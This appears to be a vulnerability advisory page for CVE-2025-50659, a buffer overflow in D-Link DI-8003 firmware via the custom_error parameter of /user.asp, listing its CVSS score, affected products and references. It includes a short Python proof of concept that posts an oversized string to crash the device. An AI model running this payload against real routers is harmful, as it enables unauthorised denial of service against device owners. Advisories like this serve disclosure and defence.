CVE-2025-50659

Description

A buffer overflow vulnerability exists in D-Link DI-8003 16.07.26A1 due to improper handling of the custom_error parameter in the /user.asp endpoint.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:di-8003_firmware:16.07.26a1:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:di-8003:-:*:*:*:*:*:*:* - NOT VULNERABLE

D-Link DI-8003 16.07.26A1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
url = "http://<target_ip>/user.asp"

# Payload to trigger buffer overflow
# Sending a long string to crash the service
payload = "A" * 1000

data = {
    "custom_error": payload
}

try:
    response = requests.post(url, data=data, timeout=5)
    print(f"Request sent, status code: {response.status_code}")
except requests.exceptions.RequestException as e:
    print(f"Device likely crashed or unavailable: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-50659
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-50659
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-50659/
[4] VulDB https://vuldb.com/cve/CVE-2025-50659
[5] https://github.com/xiaotea/iot-vulnerability-collection/blob/main/README.md
[6] https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10505
[7] https://www.dlink.com/en/security-bulletin/

Raw JSON Data

JSON

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